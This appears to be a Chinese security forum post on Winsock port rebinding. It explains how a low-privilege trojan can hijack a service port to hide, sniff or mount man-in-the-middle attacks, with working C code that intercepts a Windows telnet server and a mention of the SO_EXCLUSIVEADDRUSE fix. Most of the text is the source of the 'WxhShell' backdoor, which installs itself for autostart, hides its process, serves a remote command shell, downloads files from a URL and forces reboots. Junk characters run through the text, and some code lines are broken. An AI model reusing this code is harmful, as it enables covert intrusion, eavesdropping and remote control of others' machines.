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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _4VS.~}/R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mVBF2F<4  
wEImpsC`  
  saddr.sin_family = AF_INET; u*NU MT2  
^Q\O8f[u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cNd2XQB9=  
n^7$ST#'bV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 68^5X"OGF  
Dx-G0 KIG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (y xrK  
]k (n_+!  
  这意味着什么?意味着可以进行如下的攻击: ) !!xvyc  
A S#D9o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aTceGyWzl  
+AT!IZrB2i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /{~cUB,Um  
S}rW=hO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -O ro$=%  
LK^t ](F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !%x=o&  
Z~-A*{u?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &@dW d  
&x(^=sTHI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]qJ6#sAw75  
sH>Z{xjr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ti@X< C  
3ee?B~Tun  
  #include Q\DD^Pbq  
  #include kS$HIOt823  
  #include m_7)r  
  #include    A~!3svJW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;rj=hc  
  int main() dD2N!umW  
  { I<I?ks  
  WORD wVersionRequested; YJO,"7+  
  DWORD ret; ]g/% w3G  
  WSADATA wsaData; a%-P^M;a2  
  BOOL val; z.9 #AN=&[  
  SOCKADDR_IN saddr; ZR3x;$I~4  
  SOCKADDR_IN scaddr; ^%v<I"<Uq5  
  int err; ~?pF'3q  
  SOCKET s; tVN#i  
  SOCKET sc; 6' M"-9?G  
  int caddsize; `3$S^|v  
  HANDLE mt; 'CDRb3w}B  
  DWORD tid;   p1=sDsLL  
  wVersionRequested = MAKEWORD( 2, 2 ); Ah2%LXdHA  
  err = WSAStartup( wVersionRequested, &wsaData ); *n)3y.s  
  if ( err != 0 ) { G}tq'#]E{z  
  printf("error!WSAStartup failed!\n"); 2S1wL<qP  
  return -1; xi6Fs, 2S  
  } lrSo@JQ  
  saddr.sin_family = AF_INET; 9oteQN{9  
   ^ftZ{uA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6N4/p=lE  
b|c?xHF}K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :v k+[PzJ  
  saddr.sin_port = htons(23); =s P6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g5)f8k0+ t  
  { Aa5IccR  
  printf("error!socket failed!\n"); ;a+>><x]  
  return -1; \^wI9g~0  
  } W39R)sra  
  val = TRUE; Cm;WQuv@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8KpG0DC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %aX<p{EY  
  { BPnZ"w_  
  printf("error!setsockopt failed!\n"); ,=tVa])  
  return -1; uBk$zs  
  } jZ< *XX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q:]F* p2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1anV!&a<K(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {Ex0mw)T  
n>X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P 7 [p$Z  
  { g]C+uj^  
  ret=GetLastError(); GA6)O-^G  
  printf("error!bind failed!\n"); yZaQ{]"  
  return -1; x3L3K/qMg  
  } r4O*0Q_  
  listen(s,2); ?-O(EY1E  
  while(1) 1$fA9u$  
  { apUV6h-v  
  caddsize = sizeof(scaddr); mp~\ioI*d  
  //接受连接请求 17G7r\iNYq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d]h[]Su/?  
  if(sc!=INVALID_SOCKET) &^th KXEC  
  { f#414ja  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -5A@FGh  
  if(mt==NULL) vKDPg p<j  
  { 8oY0?|_Bx  
  printf("Thread Creat Failed!\n"); il-v>GJU7{  
  break; Y 3[<  
  } WJ\YKXG  
  } 8 k+Ctk  
  CloseHandle(mt); *#EyfMz-B  
  } 8T 6jM+ h  
  closesocket(s); bt#=p 7 W  
  WSACleanup(); &%J{C3Q9  
  return 0; |mrAvm}  
  }   52*zX 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8(%iYs$  
  { W"|89\p}  
  SOCKET ss = (SOCKET)lpParam; v}-'L#6  
  SOCKET sc; z@&_3 Gl  
  unsigned char buf[4096]; R\yw9!ESd  
  SOCKADDR_IN saddr; Lm'Ony^F  
  long num; z]\0]i  
  DWORD val; <"CG%RGP  
  DWORD ret; =Ze~6vS,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %Q}#x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Jx_ OT C  
  saddr.sin_family = AF_INET; (XT^<#Ga  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VX&KGG.6  
  saddr.sin_port = htons(23); >'Nrvy%&0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4|Jy]  
  { &e[/F@\%  
  printf("error!socket failed!\n"); fCZbIt)Eh  
  return -1; ~&k1P:#R  
  } ~z>2`^Z"  
  val = 100; RsVba!x@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =g/K>B  
  { rMpb  
  ret = GetLastError(); )0PUK9  
  return -1; 50rq} -  
  } ux VXnQQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yXrFH@3  
  { Lc*i[J<s  
  ret = GetLastError(); ^']xkS  
  return -1; {Ca#{LeLk  
  } :?jOts>uP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) suPQlU>2sj  
  { Z\i@Qa+r  
  printf("error!socket connect failed!\n"); ^5u}   
  closesocket(sc); L !yl^c  
  closesocket(ss); } RG  
  return -1; @?*26}qp  
  } 5Z6$90!k  
  while(1) |/ZpZ7  
  { :(A]Bm3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2={`g/WeE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rq}ew0&/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _l}&|:  
  num = recv(ss,buf,4096,0); ^"l>;.w  
  if(num>0) wp.<}=|u  
  send(sc,buf,num,0); $>5|TG 0i  
  else if(num==0) %S.R@C[3  
  break; /$WEO[o  
  num = recv(sc,buf,4096,0); +n^$4f  
  if(num>0) Y'bDEdeT  
  send(ss,buf,num,0); &bs/a] ?Z7  
  else if(num==0) ?K I_>{  
  break; 6/s#'#jh  
  } F7#   
  closesocket(ss); x1$fkNu  
  closesocket(sc); aQ]C`9k  
  return 0 ; #=7~.Y  
  } sqJ?dIBH  
#\@*C=  
E;D9S  
========================================================== e][U ;  
IR(JBB|xNQ  
下边附上一个代码,,WXhSHELL <d$|~qS_  
^#lPXC Bg  
========================================================== M<~z=B#  
~naL1o_FZ  
#include "stdafx.h" J03yFT,dF  
yXR$MT+~  
#include <stdio.h> d1``} naNw  
#include <string.h> cm6cW(x6  
#include <windows.h> y!mjZR,&  
#include <winsock2.h> "l n(EvW  
#include <winsvc.h> )@\= pE.H  
#include <urlmon.h> #G$_\bt  
b!5W!vcK  
#pragma comment (lib, "Ws2_32.lib") gI'4g ZH  
#pragma comment (lib, "urlmon.lib") sR +=<u1  
1nX/5z_U  
#define MAX_USER   100 // 最大客户端连接数 vitmG'|WG  
#define BUF_SOCK   200 // sock buffer /*`u(d2g  
#define KEY_BUFF   255 // 输入 buffer @FdtM<X  
Ngi$y>{Sq  
#define REBOOT     0   // 重启 k[gO>UGB;  
#define SHUTDOWN   1   // 关机 l`~*" 4|/  
mcpM<vY/H  
#define DEF_PORT   5000 // 监听端口 c3Y\XzV3v  
68+ 9^  
#define REG_LEN     16   // 注册表键长度 HKb8z@;%@  
#define SVC_LEN     80   // NT服务名长度 j1Q G-Rs&  
AnP7KSN[\  
// 从dll定义API xuv%mjQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NK$k9,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;l7wme8Qk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kDS4 t?Ig  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j0Kj>  
nRPy)L{  
// wxhshell配置信息 f,k'gM{K  
struct WSCFG { %'%ej^s-R  
  int ws_port;         // 监听端口 75jq+O_:  
  char ws_passstr[REG_LEN]; // 口令 +I;b,p  
  int ws_autoins;       // 安装标记, 1=yes 0=no :hwZz2Dhi  
  char ws_regname[REG_LEN]; // 注册表键名 ]06LNE  
  char ws_svcname[REG_LEN]; // 服务名 i~MCY.F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M`9qo8zCi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (w-z~#<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nQa5e_q!u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SZzS$6 t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4T{+R{_Y1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &BFW`5N  
!\z:S?V  
}; B ;9^  
_ohZTT%l  
// default Wxhshell configuration ~kD/dXt  
struct WSCFG wscfg={DEF_PORT, (lTM5qC  
    "xuhuanlingzhe", Gvb>M=9  
    1, wbyY?tH  
    "Wxhshell", R/Mwq#xUb  
    "Wxhshell", ?nn`ud?f  
            "WxhShell Service", o6 'I%Gs  
    "Wrsky Windows CmdShell Service", z+@aQ@75  
    "Please Input Your Password: ", &<_*yl p  
  1, A{bt Z#k  
  "http://www.wrsky.com/wxhshell.exe", qb]n{b2  
  "Wxhshell.exe" _rR+u56y-  
    }; p&>*bF,  
D}>pl8ke~g  
// 消息定义模块 68[3 /  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \j+O |#`|)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %FDi7Rx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +%OINMo.A  
char *msg_ws_ext="\n\rExit."; _[<R<&jG  
char *msg_ws_end="\n\rQuit."; ^&03D5@LoY  
char *msg_ws_boot="\n\rReboot..."; !\'7j-6  
char *msg_ws_poff="\n\rShutdown..."; +?w 7Nm`  
char *msg_ws_down="\n\rSave to "; *!$4   
m$ )yd~  
char *msg_ws_err="\n\rErr!"; h q6B pE  
char *msg_ws_ok="\n\rOK!"; X};m\Bz  
r/$+'~apTk  
char ExeFile[MAX_PATH]; =!w5%|r.  
int nUser = 0; v~H1Il_+  
HANDLE handles[MAX_USER]; mS p -  
int OsIsNt; *`mPPts}  
zH0%; o}  
SERVICE_STATUS       serviceStatus; [ >O4hifq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9z$]hl  
Z3g6 ?2w6  
// 函数声明 z\Rs?v"  
int Install(void); 3l_Ko %qS  
int Uninstall(void); `MA ee8u'  
int DownloadFile(char *sURL, SOCKET wsh); X/ gIH/  
int Boot(int flag); gbsRf&4h  
void HideProc(void); OL4I}^*,  
int GetOsVer(void); ! @{rk p  
int Wxhshell(SOCKET wsl); MUhC6s\F  
void TalkWithClient(void *cs); w,bILv)  
int CmdShell(SOCKET sock); o@>{kzCx  
int StartFromService(void); iS&~oj_-%  
int StartWxhshell(LPSTR lpCmdLine); w<3}(1  
ZM K"3c9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^1s!OT Is  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )G\23P  
1P#bR`I >  
// 数据结构和表定义 1L]7*NJe  
SERVICE_TABLE_ENTRY DispatchTable[] = WPygmti}Be  
{ G~1#kg  
{wscfg.ws_svcname, NTServiceMain}, P~Q5d&1SO  
{NULL, NULL} g0v},n  
}; VUC  
XSyCT0f08  
// 自我安装 lhw]?\  
int Install(void) gh=s#DQsFw  
{ F1J Sf&8  
  char svExeFile[MAX_PATH]; %Koc^ pb)  
  HKEY key; #~3x^ 4Y  
  strcpy(svExeFile,ExeFile); M lgE-Lm  
M>D 3NY[,  
// 如果是win9x系统,修改注册表设为自启动 |RDmY!9&  
if(!OsIsNt) { T)&J}^j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f#_XR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kT@RA}  
  RegCloseKey(key); ,DK|jf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;ZHKTOoK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /=w9bUj5v  
  RegCloseKey(key); 9_h 3<3e  
  return 0; 5!$m3j_,]?  
    } DQ :w9  
  } )f-ux5  
} 0#lw?sv  
else { kq6S`~J^R  
@[#U_T- I  
// 如果是NT以上系统,安装为系统服务 ;>QED  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RqgH,AN  
if (schSCManager!=0) <h^'x7PkW5  
{ VgtW T`F.I  
  SC_HANDLE schService = CreateService 1@q~(1-o  
  ( vCyvy^s-I  
  schSCManager, R$' 4 d  
  wscfg.ws_svcname, m^rgzx19?  
  wscfg.ws_svcdisp, Y:[WwX|  
  SERVICE_ALL_ACCESS, Ja>UcE29  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sP$bp Z}  
  SERVICE_AUTO_START, W.iL!x.B@  
  SERVICE_ERROR_NORMAL, R#i|n< x  
  svExeFile, 0@d)DLM?  
  NULL, ZHUA M59bx  
  NULL, qg#TE-Y`  
  NULL, f ZL%H0&  
  NULL, x|i"x+o  
  NULL ;F9<Yv  
  ); b }S}OW2  
  if (schService!=0) #mlTN3   
  { eZWN9#p2  
  CloseServiceHandle(schService); M[$(Pu  
  CloseServiceHandle(schSCManager); Qna ^Ry?6)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !-b4@=f:  
  strcat(svExeFile,wscfg.ws_svcname); Z)EmX=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mt3j- Mw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xnmIo? hC  
  RegCloseKey(key); La48M'u  
  return 0; J;h4)w~9H3  
    } Z]DO  
  } [R CUP.  
  CloseServiceHandle(schSCManager); Gc>bli<-  
} ez=$]cln  
} [?x9NQ{  
WLW'.  
return 1; 9 P_`IsVK  
} hO(8v&ns3  
vA@Kb3 ,  
// 自我卸载 s:lar4>kM  
int Uninstall(void) ]2(vO0~  
{ _ vVw2HH  
  HKEY key; QLH&WF  
:'?%%P  
if(!OsIsNt) { h^^zR)EVb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4[a?. .X  
  RegDeleteValue(key,wscfg.ws_regname); yaD<jc(O  
  RegCloseKey(key); hDJq:g wD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Md xIp[  
  RegDeleteValue(key,wscfg.ws_regname); zIt-mU  
  RegCloseKey(key); c[E{9wp v  
  return 0; #&0)kr66  
  } ' Bb]< L`  
} Epj  
} In^MZ)?  
else { dl;~-'0  
p 2x OjS1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cj%SW <v|  
if (schSCManager!=0) D5fJuT-bp  
{ W/ZmG]sZE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #q`[(`Bx  
  if (schService!=0) 9C}Ie$\  
  { '#$Y :/  
  if(DeleteService(schService)!=0) { C\Q3vG  
  CloseServiceHandle(schService); jcHs!   
  CloseServiceHandle(schSCManager); <J-bDcp  
  return 0; 6TJ5G8z_  
  } &B^#? vmO  
  CloseServiceHandle(schService); <GPL8D  
  } =BQM(mal  
  CloseServiceHandle(schSCManager); $V-]DD%Y  
} r_p9YS@I  
} r9z_8#cR  
6~zR(HzV{  
return 1; ,\!4 A  
} 7IW:,=Zk8+  
;'l Hw]}O*  
// 从指定url下载文件 pxjN\q  
int DownloadFile(char *sURL, SOCKET wsh) Ze ~$by|9f  
{ B+S &vV  
  HRESULT hr; 5w"f.d'  
char seps[]= "/"; ]\5@N7h  
char *token; uMa: GDh7  
char *file; NCYN .@J  
char myURL[MAX_PATH]; `GOxFDB.  
char myFILE[MAX_PATH]; tk"L2t  
;KJJK#j  
strcpy(myURL,sURL); kRs[H xI3  
  token=strtok(myURL,seps); [:sPZ{  
  while(token!=NULL) %y.9S=,v,  
  { &;L4Cj$ q  
    file=token; }MP2)6  
  token=strtok(NULL,seps); FP<RoA? W  
  } KJWYG^zI  
9+@"DuYc6  
GetCurrentDirectory(MAX_PATH,myFILE); xal,j*  
strcat(myFILE, "\\"); ov: h4  
strcat(myFILE, file); i@e.Uzn  
  send(wsh,myFILE,strlen(myFILE),0); /*p4(D_A  
send(wsh,"...",3,0); d,[.=Jqv[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^-{ 1]G:  
  if(hr==S_OK) hPr*<2mp  
return 0; Sxf|gDC  
else !e@G[%k  
return 1; rubqk4  
}'$6EgX  
} GlP [:  
S_LY>k?  
// 系统电源模块 dVc;Tt  
int Boot(int flag) G~_5E]8  
{ ;5^ grr@,4  
  HANDLE hToken; 2!f0!<te  
  TOKEN_PRIVILEGES tkp; FQNhn+A  
zMs]9o  
  if(OsIsNt) { g`)3m,\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  84L!r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qY\zZ  
    tkp.PrivilegeCount = 1; (y|{^@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @z"Zj 3ti  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zf $&+E-  
if(flag==REBOOT) { Hb 'fEo r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pc{D,/EpR  
  return 0; lMAmico  
} !jY/}M~F1  
else { +4\JY"oi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *LcLYxWo  
  return 0; vM~/|)^0sW  
} i0/gyK  
  } s([9 /ED  
  else { Fp4?/-]  
if(flag==REBOOT) { *E:w377<}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W093rNF~  
  return 0; d=WC1"  
} qyl~*r*  
else { ]_I<-}?;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _/ j44q  
  return 0; 5Zs"CDU  
} 8B;`9?CI  
} \<|a>{`7]i  
(ii 5pnq  
return 1; }#z E`IT  
} nQK@Uy5Yr  
B) &BqZ&  
// win9x进程隐藏模块 0uzis09  
void HideProc(void) ~6U@*Svk  
{ U@yrqT@;AU  
Rg)\o(J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yGgHd=?  
  if ( hKernel != NULL ) `}k!SqG  
  { <kn#`w1U'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LW_ Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WzgzI/  
    FreeLibrary(hKernel); I /3=~;u  
  } efMv1>{  
@)&b..c?_  
return; C fQj7{  
} +f\tqucI3  
vq$%Ug/B  
// 获取操作系统版本 \F,?ptu  
int GetOsVer(void) ;1S{xd*^N  
{ ]w%7/N0R  
  OSVERSIONINFO winfo; c}Jy'F7&f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V)R-w`  
  GetVersionEx(&winfo); GK/a^[f+'l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o]n5pZ\\W<  
  return 1; ,8o]XFOr  
  else R8EDJ2u#  
  return 0; gv `jeN  
} 598 xV|TON  
x)G/YUv76  
// 客户端句柄模块 L3Ry#uw  
int Wxhshell(SOCKET wsl) *Dh.'bB!  
{ T1PWFw\GH  
  SOCKET wsh; <y*#[:i  
  struct sockaddr_in client; 8 /b_4!5c  
  DWORD myID; 0'^? m$  
HT A-L>Cee  
  while(nUser<MAX_USER) OI %v>ns  
{ @U;-5KYYi  
  int nSize=sizeof(client); v7O{8K+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x0.&fCh%  
  if(wsh==INVALID_SOCKET) return 1; z-[Jbjhd  
{0QD-b o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aEXV^5;,pJ  
if(handles[nUser]==0) \#tr4g~u  
  closesocket(wsh); qfC9 {gu  
else 0J$wX yh  
  nUser++; 4}580mBc  
  } f: 7Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ++,mM7a  
ZeWHSU  
  return 0; Uo^s]H#:  
} kKE 2~ q  
j])iyn~-Ke  
// 关闭 socket !SJmu}OB]  
void CloseIt(SOCKET wsh) cJ]`/YJ  
{ ./#K@V1  
closesocket(wsh); Y+/ofk "  
nUser--; v8*ZwF  
ExitThread(0); ~l6e&J  
} ,wO5IaV  
-rH4/Iby  
// 客户端请求句柄 <py~(q  
void TalkWithClient(void *cs) 2yq.<Wz<  
{ ui9gt"qS`  
+6gS]  
  SOCKET wsh=(SOCKET)cs; b@1QE  
  char pwd[SVC_LEN]; EXa6"D  
  char cmd[KEY_BUFF]; l*'8B)vN2  
char chr[1]; MLBZmM '  
int i,j; uO[4 WZ  
W\} VZY  
  while (nUser < MAX_USER) { ]qVJ>  
y H+CyL\  
if(wscfg.ws_passstr) { G#dpSNV3|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bs+KcY:N]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cR@z^  
  //ZeroMemory(pwd,KEY_BUFF); s ]QzNc  
      i=0; i":-g"d  
  while(i<SVC_LEN) { NPB':r-8  
M?nnpO  
  // 设置超时  .)cOu>  
  fd_set FdRead; &`>*3m(  
  struct timeval TimeOut; l*X5<b9  
  FD_ZERO(&FdRead); 6h+/C]4  
  FD_SET(wsh,&FdRead); OPKX&)SE-  
  TimeOut.tv_sec=8; Iu1P}R>C  
  TimeOut.tv_usec=0; 9s*Lzi[}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E\V>3rse  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ni%^w(J3Q  
;"Ot\:0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cK-!Evv  
  pwd=chr[0]; {'!D2y.7g  
  if(chr[0]==0xd || chr[0]==0xa) { "X]u fZ7  
  pwd=0; xVl90ak  
  break; -\NB*|9m|  
  } x<ENN>mW1  
  i++; :A[bqRqe  
    } ww\/$ |  
k*!J,/=k  
  // 如果是非法用户,关闭 socket [dzb{M6_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jNIM1_JjD  
} '6/uc:zv  
~NTpMF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aD&10b9`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); efbt\j6@%2  
p:4vjh=1h  
while(1) { W_DO8n X  
v>nJy~O]  
  ZeroMemory(cmd,KEY_BUFF); 10[~ki-1;  
LXXxwIBS  
      // 自动支持客户端 telnet标准   p19Zxh  
  j=0; uWfse19  
  while(j<KEY_BUFF) { U| N`X54  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6B+ @76wH  
  cmd[j]=chr[0]; -%t0'cKn,  
  if(chr[0]==0xa || chr[0]==0xd) { n[iil$VKh  
  cmd[j]=0; vfy- ;R(  
  break; oO UVU}H  
  } rg'? ?rq  
  j++; Pc(2'r@#  
    } 3BSeZ:j7  
CZa9hsM  
  // 下载文件 p}Gk|Kjlq,  
  if(strstr(cmd,"http://")) { " 3^6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ($cu!$lY~  
  if(DownloadFile(cmd,wsh)) g{D&|qWj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ol YSr .Q`  
  else Vy/g;ZPU1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +s S*EvF  
  } D8dTw{C  
  else { C#r`oZS1  
J]~fv9~P  
    switch(cmd[0]) { C/cGr)|8%  
  }pTj8Tr  
  // 帮助 -B4v1{An  
  case '?': { rmhCuY?f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n!N;WL3k  
    break; NF a ;  
  } *U8#'Uan  
  // 安装 +f7?L]wzic  
  case 'i': { ivagS\Q  
    if(Install()) zm~~mz A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .i. |wY  
    else vj_oMmjKw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k|lxJ^V#  
    break; BF_k~  
    } JPpYT~4  
  // 卸载 &U,f~KJ  
  case 'r': { UwM}!K7)G  
    if(Uninstall()) [7Kn$OfP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T.|0;Eb  
    else wG|3 iFK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VAthQ<  
    break; +<q^[<pS  
    } B!N807  
  // 显示 wxhshell 所在路径 NrU -%!Aw  
  case 'p': { NV91{o(-7  
    char svExeFile[MAX_PATH]; pUwX cy<n  
    strcpy(svExeFile,"\n\r"); uo65i 1oi  
      strcat(svExeFile,ExeFile); BsRas  
        send(wsh,svExeFile,strlen(svExeFile),0); M"FAUqz`  
    break; hZ#tB  
    } ,U tw!]  
  // 重启 SP*5 W)6  
  case 'b': { ,AD| u_pP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JZtFt=>q  
    if(Boot(REBOOT)) HaC3y[LJ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B`WfJ2*2  
    else { RSi0IfG5  
    closesocket(wsh); 000 $ZsW?  
    ExitThread(0); ~d%Q1F*,=  
    } m3XH3FgKz  
    break; (Q4_3<G+  
    } +Va?wAnr  
  // 关机 ,-1$Vh@wM  
